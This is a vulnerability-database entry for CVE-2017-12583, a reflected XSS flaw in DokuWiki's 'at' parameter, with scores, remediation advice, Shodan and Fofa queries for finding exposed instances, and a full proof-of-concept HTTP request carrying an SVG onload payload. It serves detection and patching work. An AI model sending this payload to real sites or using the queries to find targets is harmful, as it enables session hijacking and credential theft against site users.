🔙 목록으로 돌아가기

CVE-2017-12583: DokuWiki - Cross-Site Scripting

TitleDokuWiki - Cross-Site Scripting
AuthorDhiyaneshDK
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpgrade to the latest version of DokuWiki or apply the provided patch to fix the XSS vulnerability.
CVSS Score6.1
EPSS Score0.01334
CVE IDCVE-2017-12583
CWE IDCWE-79
Shodan Queryhttp.title:"DokuWiki"http.title:"dokuwiki"cpe:"cpe:2.3:a:dokuwiki:dokuwiki"
Fofa Querytitle="dokuwiki"
Tags cve cve2017 xss dokuwiki vuln

🔍 Vulnerability Description

DokuWiki through 2017-02-19b contains a cross-site scripting vulnerability in the DATE_AT parameter to doku.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

🌐 HTTP Request

GET /dokuwiki/doku.php?id=wiki:welcome&at=<svg%20onload=alert(document.domain)> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15 AlohaBrowser/7.6.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-12583.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-12583.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A